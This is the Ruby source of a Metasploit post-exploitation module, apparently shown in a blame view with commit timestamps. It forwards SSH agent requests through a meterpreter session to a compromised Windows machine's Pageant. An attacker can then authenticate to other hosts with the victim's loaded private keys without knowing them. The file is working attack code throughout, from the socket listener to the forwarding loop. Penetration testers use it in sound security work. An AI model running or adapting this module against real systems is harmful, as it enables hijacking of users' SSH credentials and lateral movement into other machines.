metasploit-framework/modules/post/windows/manage/forward_pageant.rb

132 lines
5.1 KiB
Ruby
Raw Normal View History

##
2017-07-24 13:26:21 +00:00
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
2015-05-19 08:55:38 +00:00
require 'tmpdir'
2016-03-08 13:02:44 +00:00
class MetasploitModule < Msf::Post
include Msf::Post::Windows::Priv
2015-05-19 13:44:32 +00:00
def initialize(info = {})
super(update_info(info,
'Name' => 'Forward SSH Agent Requests To Remote Pageant',
'Description' => %q{
This module forwards SSH agent requests from a local socket to a remote Pageant instance.
If a target Windows machine is compromised and is running Pageant, this will allow the
attacker to run normal OpenSSH commands (e.g. ssh-add -l) against the Pageant host which are
2017-09-17 20:00:04 +00:00
tunneled through the meterpreter session. This could therefore be used to authenticate
2015-05-19 13:44:32 +00:00
with a remote host using a private key which is loaded into a remote user's Pageant instance,
without ever having knowledge of the private key itself.
2015-05-19 13:44:32 +00:00
Note that this requires the PageantJacker meterpreter extension, but this will be automatically
loaded into the remote meterpreter session by this module if it is not already loaded.
},
'License' => MSF_LICENSE,
'Author' => [
2015-05-19 13:46:44 +00:00
'Stuart Morgan <stuart.morgan[at]mwrinfosecurity.com>',
'Ben Campbell', # A HUGE amount of support in this :-)
2015-05-19 13:44:32 +00:00
],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ]
))
2015-05-19 09:56:04 +00:00
register_options(
[
2015-05-19 13:44:32 +00:00
OptString.new('SocketPath', [false, 'Specify a filename for the local UNIX socket.', nil])
])
2015-05-19 08:55:38 +00:00
end
def setup
unless session.extapi
vprint_status("Loading extapi extension...")
begin
session.core.use("extapi")
rescue Errno::ENOENT
print_error("This module is only available in a windows meterpreter session.")
return
end
end
end
2015-05-19 08:55:38 +00:00
def run
2015-05-19 14:13:15 +00:00
# Check to ensure that UNIX sockets are supported
begin
::UNIXServer
rescue NameError
print_error("This module is only supported on a Metasploit installation that supports UNIX sockets.")
return false
end
# Get the socket path from the user supplied options (or leave it blank to get the plugin to choose one)
2015-05-19 09:56:04 +00:00
if datastore['SocketPath']
2015-05-19 13:44:32 +00:00
@sockpath = datastore['SocketPath'].to_s
2015-05-19 09:56:04 +00:00
else
2015-05-19 13:44:32 +00:00
@sockpath = "#{::Dir::Tmpname.tmpdir}/#{::Dir::Tmpname.make_tmpname('pageantjacker', 5)}"
2015-05-19 09:56:04 +00:00
end
# Quit if the file exists, so that we don't accidentally overwrite something important on the host system
2015-05-19 13:44:32 +00:00
if ::File.exist?(@sockpath)
print_error("Your requested socket (#{@sockpath}) already exists. Remove it or choose another path and try again.")
return false
2015-05-19 13:42:30 +00:00
end
2015-05-19 08:55:38 +00:00
# Open the socket and start listening on it. Essentially now forward traffic between us and the remote Pageant instance.
2015-05-19 14:13:15 +00:00
::UNIXServer.open(@sockpath) do |serv|
2015-05-19 10:34:25 +00:00
print_status("Launched listening socket on #{@sockpath}")
print_status("Set SSH_AUTH_SOCK variable to #{@sockpath} (e.g. export SSH_AUTH_SOCK=\"#{@sockpath}\")")
2015-05-19 08:55:38 +00:00
print_status("Now use any tool normally (e.g. ssh-add)")
2015-05-19 09:56:04 +00:00
2015-05-19 13:44:32 +00:00
loop do
2015-05-19 08:55:38 +00:00
s = serv.accept
2015-05-19 13:44:32 +00:00
loop do
2015-05-19 13:46:44 +00:00
socket_request_data = s.recvfrom(8192) # 8192 = AGENT_MAX
2015-05-19 08:55:38 +00:00
break if socket_request_data.nil? || socket_request_data.first.nil? || socket_request_data.first.empty?
vprint_status("PageantJacker: Received data from socket (size: #{socket_request_data.first.size})")
response = session.extapi.pageant.forward(socket_request_data.first, socket_request_data.first.size)
2015-05-19 10:34:25 +00:00
if response[:success]
begin
2015-08-14 16:19:07 +00:00
s.send response[:blob], 0
rescue
break
end
2015-08-14 14:52:08 +00:00
vprint_status("PageantJacker: Response received (Success='#{response[:success]}' Size='#{response[:blob].size}' Error='#{translate_error(response[:error])}')")
else
2015-08-14 14:52:08 +00:00
print_error("PageantJacker: Unsuccessful response received (#{translate_error(response[:error])})")
2015-05-19 10:34:25 +00:00
end
2015-05-19 09:56:04 +00:00
end
2015-05-19 13:44:32 +00:00
end
2015-05-19 08:55:38 +00:00
end
end
2015-05-19 13:44:32 +00:00
def cleanup
# Remove the socket that we created, if it still exists
::File.delete(@sockpath) if ::File.exist?(@sockpath) if @sockpath
end
2015-05-19 14:13:15 +00:00
2015-08-14 16:19:07 +00:00
def translate_error(errnum)
2015-08-14 14:52:08 +00:00
errstring = "#{errnum}: "
case errnum
when 0
2015-08-14 16:19:07 +00:00
errstring += "No error"
2015-08-14 14:52:08 +00:00
when 1
2015-08-14 16:19:07 +00:00
errstring += "The Pageant request was not processed."
2015-08-14 14:52:08 +00:00
when 2
2015-08-14 16:19:07 +00:00
errstring += "Unable to obtain IPC memory address."
2015-08-14 14:52:08 +00:00
when 3
2015-08-14 16:19:07 +00:00
errstring += "Unable to allocate memory for Pageant<-->Meterpreter IPC."
2015-08-14 14:52:08 +00:00
when 4
2015-08-14 16:19:07 +00:00
errstring += "Unable to allocate memory buffer."
when 5
errstring += "Unable to build Pageant request string."
2015-08-14 14:52:08 +00:00
when 6
2015-08-14 16:19:07 +00:00
errstring += "Pageant not found."
2015-08-14 14:52:08 +00:00
when 7
2015-08-14 16:19:07 +00:00
errstring += "Not forwarded."
2015-08-14 14:52:08 +00:00
else
2015-08-14 16:19:07 +00:00
errstring += "Unknown."
2015-08-14 14:52:08 +00:00
end
2015-08-14 16:19:07 +00:00
errstring
2015-08-14 14:52:08 +00:00
end
end